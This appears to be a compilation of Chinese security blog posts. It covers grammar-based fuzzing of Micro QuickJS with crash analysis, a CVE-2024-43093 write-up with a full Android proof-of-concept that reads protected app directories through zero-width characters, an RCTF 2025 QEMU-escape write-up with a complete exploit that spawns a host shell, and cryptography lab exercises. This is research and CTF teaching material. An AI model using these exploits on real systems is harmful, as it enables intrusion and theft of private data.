AFL++ Grammar Level Fuzzing on Micro QuickJS
0. 起因2025.12.23 传奇程序员 Bellard（Qemu、ffmpeg、QuickJS、TCC... 原作者）发布了他的新作品 Micro QuickJS（mqjs），这是一个用于嵌入式系统上的 JS 引擎。既然是用纯 C 语言实现的，应该会有一些内存损坏漏洞吧。1. 准备 fuzzer组件我决定用 AFL++ 来运行模糊测试。AFL++ 直接使用的话，构造的是逐字节的随机输入，其中大多数都是无意义的乱码（即使配合 cmplog 等）。对于特定语言解释器来说，我们希望构造的输入能够真正被执行。编译原理告诉我们，从人类可读字符串到机器可执行的字节码或机器码需要经历至少三个阶段：词法分析、语法分析、语义分析。完全随机的输入无疑连词法分析都很难通过，更别说语法分析语义分析了。如果构造的输入根本没法运行，那我们就无法触及有关 VM 和 GC（垃圾回收释放内存）相关的更有价值的漏洞。西电网信院在大二有一门选修课就是编译原理，最后的大作业是 C 语言标准库手搓自定义绘图语言编译器，十分带劲。不过据说从 24 级开始这门课🈚️了。我感觉从 LLVM pass 上手会更有实用价值一些。而如果配合 Grammar-Mutator，我们就可以实现语法级的 fuzzing。我们只需要提供这个语言的语法的生成式，自动编译成自定义 mutator。AFL 运行时就会调用它来将先前的 seed 转变为 AST，再随机选择 AST 中的节点，根据生成式变异为另一个节点或子树，最后再根据 AST 生成代码作为新的 seed。（具体可以看这篇文章）当然，编译时 Address Sanitizer 也必不可少（-fsanitize=address）。我试过再加上 UB Sanitizer，但是随便一运行就爆了，难道到处都是 UB？问题修复一开始运行 Grammar-Mutator 有时会报错 _pick_non_term_node returns NULL 然后直接退出。不知道为什么它在极罕见情况下会找不到某个非终结符能够用来变异的生成式。遇到这种情况就不变异吧，直接把整个 AFL 停了真的好吗，，修改代码如下即可：diff --git a/src/tree_mutation.c b/src/tree_mutation.c index 68e91f9..62da2ed 100644 --- a/src/tree_mutation.c +++ b/src/tree_mutation.c @@ -39,8 +39,10 @@ tree_t *random_mutation(tree_t *tree) { if (unlikely(node == NULL)) { // By design, _pick_non_term_node should not return NULL - perror("_pick_non_term_node returns NULL"); - exit(EXIT_FAILURE); + // perror("_pick_non_term_node returns NULL"); + // exit(EXIT_FAILURE); + + return mutated_tree; } @@ -203,9 +205,10 @@ tree_t *splicing_mutation(tree_t *tree) { if (unlikely(node == NULL)) { // By design, _pick_non_term_node should not return NULL - perror("_pick_non_term_node returns NULL"); - exit(EXIT_FAILURE); + // perror("_pick_non_term_node returns NULL"); + // exit(EXIT_FAILURE); + return mutated_tree; } node_t *parent = node->parent;执行编写 fuzzing harness 用于 persistent mode，同时按照 Grammar-Mutator 的官方文档编译好 mutator library，自动生成初始种子。我们在 aflplusplus/aflplusplus docker container 里用以下参数运行 AFL：while true; do AFL_DISABLE_TRIM=1 AFL_CUSTOM_MUTATOR_LIBRARY=./libgrammarmutator-javascript.so AFL_USE_ASAN=1 afl-fuzz -i seeds/ -o out/ -b 2 -a text -G 1024 -t 200 -S asan -- ./mjs_harness_asan; sleep 1; done运行过程中我总结了一些经验：我选择关闭 ptrim，因为对于语法级 fuzzing，trim 反而会丢失复杂的结构，使之后的变异难以发现新的分支。加上超时是对的，但是不能太低，跑得慢的 seed 反而更有价值（复杂的 GC 行为）。Grammar-Mutator 根据 AST 进行变异像是一个无限深度递归，所以 cycles 几乎不会增长，这是正常的。2. Fuzzing 结果大约 11 小时后，第一批 crashes 出现了：id 000000 内容大概是：var a = []; var b = []; var c = []; var d = []; (Infinity**((((a+(((((((((((((((((((((new Float64Array(0,0/0,0,{g: false})))))))))))))))))))))==(~0))))))); function Float64Array(console, EvalError,Int16Array,Reflect,NaN){ new Float64Array(false,TypeError[[[((((((((((((((((((((((((((((((((((((((((((((((((((((d.concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat((((--b) >>> -0)),(((--b) >>> -0)),(((--b) >>> // 暂不完整公开 ...可以看到其中有明显的无限递归，另外还有大量的 concat，这无疑同时给堆和栈带来了巨大的内存分配压力，也就很可能出现 GC 相关的漏洞。对此，Address Sanitizer 的评价是：================================================================= ==1599335==ERROR: AddressSanitizer: negative-size-param: (size=-2112) #0 0x55f81ffe8449 in __asan_memmove (/home/rik/Desktop/crashes/mjs_harness_asan+0x17e449) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) #1 0x55f8200c1be2 in JS_MakeUniqueString /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:2032:5 #2 0x55f8200aab94 in JS_ToPropertyKey /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:4193:16 #3 0x55f8200aab94 in JS_Call /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:6009:28 #4 0x55f82011a802 in JS_Run /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:11799:11 #5 0x55f82003e19b in LLVMFuzzerTestOneInput /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/fuzz_harness.c:140:15 #6 0x55f820038c59 in ExecuteFilesOnyByOne (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cec59) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) #7 0x55f820038a38 in LLVMFuzzerRunDriver (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cea38) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) #8 0x55f8200385c6 in main (/home/rik/Desktop/crashes/mjs_harness_asan+0x1ce5c6) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) #9 0x7f24f4027634 in __libc_start_call_main /usr/src/debug/glibc/glibc/csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #10 0x7f24f40276e8 in __libc_start_main /usr/src/debug/glibc/glibc/csu/../csu/libc-start.c:360:3 #11 0x55f81feef3e4 in _start (/home/rik/Desktop/crashes/mjs_harness_asan+0x853e4) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) 0x7f24f0c4f8b8 is located 327864 bytes inside of 4194304-byte region [0x7f24f0bff800,0x7f24f0fff800) allocated by thread T0 here: #0 0x55f81ffeb905 in malloc (/home/rik/Desktop/crashes/mjs_harness_asan+0x181905) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) #1 0x55f82003cee9 in LLVMFuzzerTestOneInput /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/fuzz_harness.c:112:21 #2 0x55f820038c59 in ExecuteFilesOnyByOne (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cec59) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) SUMMARY: AddressSanitizer: negative-size-param (/home/rik/Desktop/crashes/mjs_harness_asan+0x17e449) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) in __asan_memmove ==1599335==负数 size？过了一会，又出现了七百多个崩溃，我想是时候开始分析了。3. 分析 crashesMicro QuickJS 的 GC 过程如下：先将整个堆扫描一遍来标记需要释放的对象（JS_MTAG_FREE），/* 'size' is in bytes and must be multiple of JSW and > 0 */ static void set_free_block(void *ptr, uint32_t size) { JSFreeBlock *p; p = (JSFreeBlock *)ptr; p->mtag = JS_MTAG_FREE; p->gc_mark = 0; p->size = (size - sizeof(JSFreeBlock)) / sizeof(JSWord); }然后在 JS_GC2 中使用 Jonkers 算法来释放内存（gc_compact_heap）。具体来说，就是把所有不是 JS_MTAG_FREE 标记的对象都向低地址移，填补所有 JS_MTAG_FREE 对象带来的空洞。 /* pass 2: update the threaded pointers and move the block to its final position */ new_ptr = ctx->heap_base; ptr = ctx->heap_base; while (ptr < ctx->heap_free) { gc_update_threaded_pointers(ctx, ptr, new_ptr); size = get_mblock_size(ptr); if (js_get_mtag(ptr) != JS_MTAG_FREE) { if (new_ptr != ptr) { memmove(new_ptr, ptr, size); } new_ptr += size; } ptr += size; } ctx->heap_free = new_ptr;一个很关键的问题是，这样的 GC 有可能会移动对象的位置，所以 GC 的下一步是修改引用方的指针到移动后的位置。不在 JS VM 栈中的对象指针（例如在裸 C 数组里的 JS 对象指针）就无法被追踪到，它们就会立刻沦为垂悬指针。所以在编写 mqjs 期间需要时刻注意哪些函数可能触发 GC，并将临时变量推入 JS VM 栈中。这几百个崩溃几乎都是因为没有注意到可能 GC 的函数导致的。例如 2 中提到的崩溃，static JSValue JS_MakeUniqueString(JSContext *ctx, JSValue val) { // ... arr = JS_VALUE_TO_PTR( ctx->unique_strings); val1 = find_atom(ctx, &a, arr, ctx->unique_strings_len, val); if (!JS_IsNull(val1)) return val1; JS_PUSH_VALUE(ctx, val); is_numeric = js_is_numeric_string(ctx, val); JS_POP_VALUE(ctx, val); if (is_numeric < 0) return JS_EXCEPTION; /* not found: add it in the table */ JS_PUSH_VALUE(ctx, val); new_tab = js_resize_value_array(ctx, ctx->unique_strings, ctx->unique_strings_len + 1); JS_POP_VALUE(ctx, val); if (JS_IsException(new_tab)) return JS_EXCEPTION; ctx->unique_strings = new_tab; arr = JS_VALUE_TO_PTR( ctx->unique_strings); memmove(&arr->arr[a + 1], &arr->arr[a], sizeof(arr->arr[0]) * (ctx->unique_strings_len - a)); // ... }可以看到 JS_MakeUniqueString 首先从 ctx->unique_strings 中搜索（find_atom）相同字符串的索引（a）。这是一种常见的优化，在创建任何字符串前都在一个字符串表里检查有没有重复字符串，如果有就直接使用它如果没有再分配新空间并插入表中，避免重复浪费内存。但是由于 ctx->unique_strings_len 在 find_atom 和 memmove 之间减小了（被 GC 清理了一部分），所以 ctx->unique_strings_len - a 变成了负数！（a 应该永远小于 ctx->unique_strings_len。）其中 js_is_numeric_string 和 js_resize_value_array 都有可能触发 GC（主要是 js_is_numeric_string）。按照以上思路，我们还能找到其他 GC UAF 漏洞，甚至可利用的漏洞。事实上，我们可以修改 mqjs 源码，使其在每次申请内存前都执行一次 GC，这样能更高效地挖掘出类似的漏洞，无需等待 AFL 随机出有 GC 压力的 seed。（这应该是一个通用的技巧）4. 利用...5. 修复对于 2 中提到的崩溃，比较简单的修复方案就是在 memmove 前再执行一次 find_atom 定位插入位置。另外 js_is_numeric_string 也不应该需要 O(n) 空间复杂度。...在 QuickJS-NG 也可以通过相同方案找到有意义的漏洞。
简介CVE‑2024‑43093 是一个 Android 框架组件中的权限提升漏洞，其成因核心是文件路径过滤器在处理包含 Unicode 字符的路径时存在逻辑问题。出人意料的是，至今仍有不少安卓设备没有修复这个漏洞。使用 DuckDetector 可以检测这个漏洞在当前设备上是否修补。成因产生问题的代码位于 com/android/externalstorage/ExternalStorageProvider.java 中的 shouldHideDocument 函数。路径检查逻辑首先对文件路径进行规范化，本意是为了能正确匹配过滤规则，防止特殊字符注入。但是这种规范化不能防范所有字符的情况，例如零宽空格。如果在访问路径中插入零宽空格，那么就能绕过这个过滤规则，读写 /sdcard/Android/{data,obb}/<package> 任意目录。修复Google 早在 2024 年已尝试修复这个漏洞，将路径过滤规则从简单的正则匹配改为使用 Java File 逐级遍历验证路径是否相同，但仍然无法阻挡这个漏洞。修复 patch diff 如下：@@ -16,8 +16,6 @@ package com.android.externalstorage; -import static java.util.regex.Pattern.CASE_INSENSITIVE; - import android.annotation.NonNull; import android.annotation.Nullable; import android.app.usage.StorageStatsManager; @@ -61,12 +59,15 @@ import java.io.FileNotFoundException; import java.io.IOException; import java.io.PrintWriter; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.Arrays; import java.util.Collections; import java.util.List; import java.util.Locale; import java.util.Objects; import java.util.UUID; -import java.util.regex.Pattern; +import java.util.stream.Collectors; /** * Presents content of the shared (a.k.a. "external") storage. @@ -89,12 +90,9 @@ private static final Uri BASE_URI = new Uri.Builder().scheme(ContentResolver.SCHEME_CONTENT).authority(AUTHORITY).build(); - /** - * Regex for detecting {@code /Android/data/}, {@code /Android/obb/} and - * {@code /Android/sandbox/} along with all their subdirectories and content. - */ - private static final Pattern PATTERN_RESTRICTED_ANDROID_SUBTREES = - Pattern.compile("^Android/(?:data|obb|sandbox)(?:/.+)?", CASE_INSENSITIVE); + private static final String PRIMARY_EMULATED_STORAGE_PATH = "/storage/emulated/"; + + private static final String STORAGE_PATH = "/storage/"; private static final String[] DEFAULT_ROOT_PROJECTION = new String[] { Root.COLUMN_ROOT_ID, Root.COLUMN_FLAGS, Root.COLUMN_ICON, Root.COLUMN_TITLE, @@ -309,11 +307,70 @@ return false; } - final String path = getPathFromDocId(documentId); - return PATTERN_RESTRICTED_ANDROID_SUBTREES.matcher(path).matches(); + try { + final RootInfo root = getRootFromDocId(documentId); + final String canonicalPath = getPathFromDocId(documentId); + return isRestrictedPath(root.rootId, canonicalPath); + } catch (Exception e) { + return true; + } } /** + * Based on the given root id and path, we restrict path access if file is Android/data or + * Android/obb or Android/sandbox or one of their subdirectories. + * + * @param canonicalPath of the file + * @return true if path is restricted + */ + private boolean isRestrictedPath(String rootId, String canonicalPath) { + if (rootId == null || canonicalPath == null) { + return true; + } + + final String rootPath; + if (rootId.equalsIgnoreCase(ROOT_ID_PRIMARY_EMULATED)) { + // Creates "/storage/emulated/<user-id>" + rootPath = PRIMARY_EMULATED_STORAGE_PATH + UserHandle.myUserId(); + } else { + // Creates "/storage/<volume-uuid>" + rootPath = STORAGE_PATH + rootId; + } + List<java.nio.file.Path> restrictedPathList = Arrays.asList( + Paths.get(rootPath, "Android", "data"), + Paths.get(rootPath, "Android", "obb"), + Paths.get(rootPath, "Android", "sandbox")); + // We need to identify restricted parent paths which actually exist on the device + List<java.nio.file.Path> validRestrictedPathsToCheck = restrictedPathList.stream().filter( + Files::exists).collect(Collectors.toList()); + + boolean isRestricted = false; + java.nio.file.Path filePathToCheck = Paths.get(rootPath, canonicalPath); + try { + while (filePathToCheck != null) { + for (java.nio.file.Path restrictedPath : validRestrictedPathsToCheck) { + if (Files.isSameFile(restrictedPath, filePathToCheck)) { + isRestricted = true; + Log.v(TAG, "Restricting access for path: " + filePathToCheck); + break; + } + } + if (isRestricted) { + break; + } + + filePathToCheck = filePathToCheck.getParent(); + } + } catch (Exception e) { + Log.w(TAG, "Error in checking file equality check.", e); + isRestricted = true; + } + + return isRestricted; + } + + + /** * Check that the directory is the root of storage or blocked file from tree. * * Note, that this is different from hidden documents: blocked documents WILL appear后来 Google 也尝试直接在内核中修改 F2FS 文件系统，但也未能完成修复。（据说还因把 F2FS 弄坏了被 Linus 批评。）真正的修复可以参考 5ec1cff 编写的 Xposed 模块。我用 jadx 逆向分析了一下，这个模块在 Xposed entry 中对 com.android.providers.media.module 注入了一个动态链接库 fusefixer.so： public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) { if ("com.android.providers.media.module".equals(loadPackageParam.packageName) || "com.google.android.providers.media.module".equals(loadPackageParam.packageName)) { System.loadLibrary("fusefixer"); Log.d("FuseFixer", "injected"); new Handler(Looper.getMainLooper()).post(new RunnableC0016i(0, this)); } }在其中又 hook 了 libfuse_jni.so 中的 is_package_owned_path、is_app_accessible_path 和 is_bpf_backing_path。替换后的函数做了以下操作：先判断输入字符串是否包含需要处理的 Unicode 字符；如果需要处理，复制出一份可写字符串，扫描该字符串并移除非法字符；调用原始函数，修改传入参数为清洗后的字符串。据说 Google 在 2026 年一月更新中再次修补了这个漏洞，但我的设备更新后依旧可以利用。复现由于这是一个披露已久的漏洞，所以应该可以展示复现过程。其实只需要简单编写一个类似文件管理器的程序（我这里选用 Jetpack Compose 框架），让用户输入路径支持 Unicode 转义符或自行插入零宽 Unicode 字符就可以了。我在目前最新的澎湃 OS 3.0.5.0 仍能成功复现这个漏洞。package cn.pwnerik.pathescape import android.os.Bundle import androidx.activity.ComponentActivity import androidx.activity.compose.setContent import androidx.activity.enableEdgeToEdge import androidx.compose.foundation.clickable import androidx.compose.foundation.layout.* import androidx.compose.foundation.lazy.LazyColumn import androidx.compose.foundation.lazy.items import androidx.compose.material3.* import androidx.compose.runtime.* import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.text.TextRange import androidx.compose.ui.text.input.TextFieldValue import androidx.compose.ui.tooling.preview.Preview import androidx.compose.ui.unit.dp import cn.pwnerik.pathescape.ui.theme.PathEscapeTheme import java.io.File class MainActivity : ComponentActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) enableEdgeToEdge() setContent { PathEscapeTheme { Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding -> FileExplorer( modifier = Modifier.padding(innerPadding) ) } } } } } fun unescapeUnicode(input: String): String { val regex = Regex("\\\\u([0-9a-fA-F]{4})") return regex.replace(input) { try { it.groupValues[1].toInt(16).toChar().toString() } catch (_: Exception) { it.value } } } fun escapeUnicode(input: String): String { val sb = StringBuilder() for (char in input) { if (char.code !in 32..126) { sb.append(String.format("\\u%04x", char.code)) } else { sb.append(char) } } return sb.toString() } @Composable fun FileExplorer(modifier: Modifier = Modifier) { var pathValue by remember { mutableStateOf(TextFieldValue("")) } var files by remember { mutableStateOf(listOf<File>()) } var parentDir by remember { mutableStateOf<File?>(null) } var errorMessage by remember { mutableStateOf<String?>(null) } var hasStarted by remember { mutableStateOf(false) } fun listFiles(path: String) { val decodedPath = unescapeUnicode(path) val directory = File(decodedPath) // Always update the input box to show the normalized escaped path val escapedPath = escapeUnicode(directory.absolutePath) pathValue = TextFieldValue( text = escapedPath, selection = TextRange(escapedPath.length) ) try { if (directory.exists() && directory.isDirectory) { val list = directory.listFiles() files = list?.toList()?.sortedWith(compareBy({ !it.isDirectory }, { it.name.lowercase() })) ?: emptyList() parentDir = directory.parentFile errorMessage = null hasStarted = true } else { errorMessage = "无效的目录路径: $decodedPath" files = emptyList() parentDir = null } } catch (e: Exception) { errorMessage = "错误: ${e.message}" files = emptyList() parentDir = null } } fun insertAtCursor(textToInsert: String) { val text = pathValue.text val selection = pathValue.selection val newText = text.take(selection.start) + textToInsert + text.substring(selection.end) val newCursorPosition = selection.start + textToInsert.length pathValue = TextFieldValue( text = newText, selection = TextRange(newCursorPosition) ) } Column( modifier = modifier .fillMaxSize() .padding(16.dp) ) { Row( modifier = Modifier.fillMaxWidth(), verticalAlignment = Alignment.CenterVertically ) { TextField( value = pathValue, onValueChange = { pathValue = it }, modifier = Modifier.weight(1f), label = { Text("目录路径") }, singleLine = true ) Spacer(modifier = Modifier.width(8.dp)) Button(onClick = { listFiles(pathValue.text) }) { Text("列出") } } Spacer(modifier = Modifier.height(8.dp)) Row( modifier = Modifier.fillMaxWidth(), horizontalArrangement = Arrangement.spacedBy(8.dp) ) { OutlinedButton(onClick = { insertAtCursor("/storage/emulated/0") }) { Text("主目录") } OutlinedButton(onClick = { insertAtCursor("\\u200d") }) { Text("零宽空格") } OutlinedButton(onClick = { pathValue = TextFieldValue("", TextRange.Zero) }) { Text("清空") } } Spacer(modifier = Modifier.height(16.dp)) if (errorMessage != null) { Text( text = errorMessage!!, color = MaterialTheme.colorScheme.error, modifier = Modifier.padding(bottom = 8.dp) ) } LazyColumn(modifier = Modifier.fillMaxSize()) { // Add parent directory link if not at root and after first listing if (hasStarted && parentDir != null) { item { FileItem( name = "..", isDirectory = true, onClick = { listFiles(parentDir!!.absolutePath) } ) HorizontalDivider(modifier = Modifier.padding(vertical = 4.dp), thickness = 0.5.dp) } } items(files) { file -> FileItem( name = file.name, isDirectory = file.isDirectory, onClick = { if (file.isDirectory) { listFiles(file.absolutePath) } } ) HorizontalDivider(modifier = Modifier.padding(vertical = 4.dp), thickness = 0.5.dp) } } } } @Composable fun FileItem(name: String, isDirectory: Boolean, onClick: () -> Unit) { val type = if (isDirectory) "[目录] " else "[文件] " Text( text = "$type$name", modifier = Modifier .fillMaxWidth() .clickable(onClick = onClick) .padding(vertical = 12.dp), style = MaterialTheme.typography.bodyLarge ) } @Preview(showBackground = true) @Composable fun FileExplorerPreview() { PathEscapeTheme { FileExplorer() } }
RCTF 2025 pwn，继 mstr 之后再复现一个相对简单的 qemu escape bbox，如果有空的话再看看那个 v8pwn。（画饼ingChallenge附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体：00000000 struct block // sizeof=0x18 00000000 { 00000000 unsigned int id; 00000004 unsigned int size; 00000008 unsigned int _pad1; 0000000C unsigned int offset; 00000010 unsigned int _pad2; 00000014 unsigned __int8 encrypted; 00000015 unsigned __int8 valid; 00000016 unsigned __int8 _pad3[2]; 00000018 }; 00000000 struct virtsec_device // sizeof=0x10E8 00000000 { 00000000 unsigned __int8 _pad0[3024]; 00000BD0 unsigned int status; 00000BD4 unsigned int session_id; 00000BD8 unsigned int error_code; 00000BDC unsigned __int8 _pad1[32]; 00000BFC unsigned int alloc_size; 00000C00 unsigned int _pad2[2]; 00000C08 struct block blocks[16]; 00000D88 unsigned int _pad3; 00000D8C unsigned int current_id; 00000D90 unsigned int merge_id1; 00000D94 unsigned int merge_id2; 00000D98 unsigned __int8 data[256]; 00000E98 void (*func_ptr)(void *); 00000EA0 void *func_arg; 00000EA8 unsigned __int8 _pad4[256]; 00000FA8 unsigned __int8 key_buffer[256]; 000010A8 unsigned int reg_10A8; 000010AC unsigned __int8 _pad6[36]; 000010D0 unsigned __int64 reg_10D0; 000010D8 unsigned __int64 reg_10D8; 000010E0 unsigned __int64 reg_10E0; 000010E8 };之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks，每个块初始大小最高 0x10，但可以通过 merge 命令合并两个及多个块，直至 256 字节。设备还有 gift 寄存器，向其中写入任意内容后，设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针，再次触发 gift 就会将后者作为首个参数执行前者。（另外还有 session、神秘 command 3 和 xor 加解密，不知道能干啥。）这个 PCI 设备通过 MMIO 交互，我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径（00:04.0 Class 0580: 1234:5678）。出题人非常贴心的在每个操作都输出了 log，要想看到 qemu_log 输出便于调试，可以添加 qemu 命令行参数 -d guest_errors -D qemu.log（qemu_loglevel_mask_64(2048) 是 LOG_GUEST_ERROR）。Bug问题出在块合并，merge 似乎没有任何长度检查，只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块，从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。Exploit只需要将函数指针改成 system，参数改成 sh 就好了。然而由于某些神秘原因，直接向 offset 256 写入的话 qemu 就直接爆了（？不过块合并时自然也会复制数据的，所以就改成先在小块里写好这两个数据然后越界合并覆盖就好。free block 竟然只能全部 reset，那只好重新 merge 一遍了。有点不懂为什么 escape 之后又打印出 welcome to RCTF2025!This is my gift!hello，可能是 pwntools 的问题吧（Exp:#include <fcntl.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #define REG_CMD 0x0C #define REG_ID 0x14 #define REG_SIZE 0x18 #define REG_MERGE1 0x30 #define REG_MERGE2 0x34 #define REG_GIFT 0x38 #define CMD_SESSION 1 #define CMD_ALLOC 2 #define CMD_SELECT 3 #define CMD_MERGE 4 #define CMD_RESET 6 int fd; volatile void *mmio_ptr; static void write_reg32(int offset, uint32_t value) { *(volatile uint32_t *)(mmio_ptr + offset) = value; } static void trig_gift() { write_reg32(REG_GIFT, 0xcafebabe); } // static void new_session() { write_reg32(REG_CMD, CMD_SESSION); } static void alloc_blk(uint32_t id, uint32_t size) { write_reg32(REG_ID, id); write_reg32(REG_SIZE, size); write_reg32(REG_CMD, CMD_ALLOC); } static void select_blk(uint32_t id) { write_reg32(REG_ID, id); // write_reg(REG_CMD, CMD_SELECT); } static void merge_blk(uint32_t id1, uint32_t id2) { write_reg32(REG_MERGE1, id1); write_reg32(REG_MERGE2, id2); write_reg32(REG_CMD, CMD_MERGE); } static void dev_res() { write_reg32(REG_CMD, CMD_RESET); } static uint32_t read_data32(size_t offset) { return *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset); } static uint64_t read_data64(size_t offset) { uint32_t low32 = read_data32(offset); uint32_t high32 = read_data32(offset + 4); return ((uint64_t)high32 << 32) | low32; } static void write_data32(size_t offset, uint32_t data) { *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset) = data; } static void write_data64(size_t offset, uint64_t data) { write_data32(offset, (uint32_t)data); write_data32(offset + 4, (uint32_t)(data >> 32)); } int main(void) { fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR); if (fd < 0) { perror("open"); exit(EXIT_FAILURE); } puts("[*] Device opened."); mmio_ptr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (mmio_ptr == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } puts("[*] MMIO mmaped."); // new_session(); for (size_t i = 0; i < 16; ++i) { alloc_blk(i, 0x10); } puts("[*] Blocks allocated."); for (size_t i = 1; i < 16; ++i) { merge_blk(0, i); } puts("[*] Blocks merged."); alloc_blk(1, 0x10); merge_blk(0, 1); puts("[+] Block merged overflow."); trig_gift(); select_blk(0); size_t host_system_addr = read_data64(256) - 0xf980; // glibc system - printf size_t host_sh_addr = host_system_addr - 0x38761; // glibc "sh" - system printf("[+] Host `system` address: 0x%lx\n", host_system_addr); printf("[+] Host `\"sh\"` address: 0x%lx\n", host_sh_addr); dev_res(); puts("[*] Reset."); for (size_t i = 0; i < 16; ++i) { alloc_blk(i, 0x10); } puts("[*] Blocks allocated."); for (size_t i = 1; i < 16; ++i) { merge_blk(0, i); } puts("[*] Blocks merged."); alloc_blk(1, 0x10); select_blk(1); write_data64(0, host_system_addr); write_data64(8, host_sh_addr); merge_blk(0, 1); puts("[+] Gift rewritten."); trig_gift(); munmap((void *)mmio_ptr, 0x2000); close(fd); return 0; }直接读写 MMIO 的指针一定要 ➕ volatile，否则可能被编译器优化掉。
西电网安实验班 现代密码学 实验四
西电网安实验班 现代密码学 实验三
题目一Project Euler RSA Encryption Problem 182链接：https://projecteuler.net/problem=182RSA 有可能存在加密但没有加密的情况。起初遍历所有可能的消息并逐个加密来计算 unconsealed messages count。后来发现有以下公式：$$ N = (1 + \gcd(e-1, p-1)) \times (1 + \gcd(e-1, q-1)) $$from gmpy2 import gcd p = 1009 q = 3643 phi = (p - 1) * (q - 1) min_unconcealed = p * q candidates = [] for e in range(3, phi, 2): if gcd(e, phi) != 1: continue count = (1 + gcd(e - 1, p - 1)) * (1 + gcd(e - 1, q - 1)) if count < min_unconcealed: min_unconcealed = count candidates = [e] elif count == min_unconcealed: candidates.append(e) print(f"min_unconcealed: {min_unconcealed}") print("e:", end=" ") for e in candidates[:50]: print(f'{e} ', end='') print()题目二Implement RSA链接：https://www.cryptopals.com/sets/5/challenges/39只是实现一个简单的 RSA，要求手写 exgcd 和 modinv，那就手写吧。from gmpy2 import next_prime, powmod from secrets import randbits from Crypto.Util.number import bytes_to_long def gcd(a, b): while b != 0: a, b = b, a % b return a def ex_gcd(a, b): if b == 0: return 1, 0 else: x1, y1 = ex_gcd(b, a % b) x = y1 y = x1 - (a // b) * y1 return x, y def inverse(a, m): x, _ = ex_gcd(a, m) return (x % m + m) % m e = 3 while True: p = next_prime(randbits(64)) q = next_prime(randbits(64)) n = p * q phi = (p - 1) * (q - 1) if gcd(e, phi) == 1: break m = bytes_to_long(b'pwnerik.cn') assert 0 <= m < n c = powmod(m, e, n) d = inverse(e, phi) msg = powmod(c, d, n) assert m == msg这个实现有很多问题，例如 e、p、q 太小。
西电网安实验班 现代密码学 实验二
题目一地址：https://mysterytwister.org/challenges/level-2/aes-key--encoded-in-the-machine-readable-zone-of-a-european-epassport俄罗斯的电子护照编号编码了一个 AES 密钥，我们需要解码出这个密钥然后解密 AES CBC 模式密文。题目说 IV 初始化为 0，那么我们只需要得到密钥。目标密文（base64）：9MgYwmuPrjiecPMx61O6zIuy3MtIXQQ0E59T3xB6u0Gyf1gYs2i3K9Jxaa0zj4gTMazJuApwd6+jdyeI5iGHvhQyDHGVlAuYTgJrbFDrfB22Fpil2NfNnWFBTXyf7SDI题目已经过期了，现在的 ICAO 文件描述的护照编号格式连长度都不一样。这怎么做？只能抄题解了……题目二地址：https://cryptopals.com/sets/2Implement PKCS#7 padding不需要特别考虑 content 恰好和块等长的情况，相当于再附加一个只有 padding 的块。def pkcs_7(content: bytes) -> bytes: padlen = 16 - (len(content) % 16) return content + bytes([padlen] * padlen) pkcs_7("YELLOW SUBMARINE", 20) # "YELLOW SUBMARINE\x04\x04\x04\x04"Implement CBC modefrom base64 import b64decode from Crypto.Cipher import AES def aes_ecb_dec(block: bytes, key: bytes) -> bytes: assert len(block) % 16 == 0 cipher = AES.new(key, AES.MODE_ECB) return cipher.decrypt(block) def bytesxor(a: bytes, b: bytes) -> bytes: if len(a) > len(b): return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)]) else: return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])]) def depkcs_7(content: bytes) -> bytes: return content[:len(content) - content[-1]] def aes_cbc_dec(cipher: bytes, key: bytes, iv: bytes) -> bytes: assert len(cipher) % 16 == 0 result = bytes() prev_block = iv for i in range(0, len(cipher), 16): block = cipher[i:i+16] decrypted = aes_ecb_dec(block, key) result += bytesxor(decrypted, prev_block) prev_block = block return depkcs_7(result) key = b"YELLOW SUBMARINE" with open('10.txt', 'r') as f: encrypted_b64 = f.read() cipher = b64decode(encrypted_b64) print(aes_cbc_dec(cipher, key, b'\x00' * 16))An ECB/CBC detection oracle通过检查是否有重复块来判断是否是 ECB 模式，用户输入需要有较长的重复 pattern 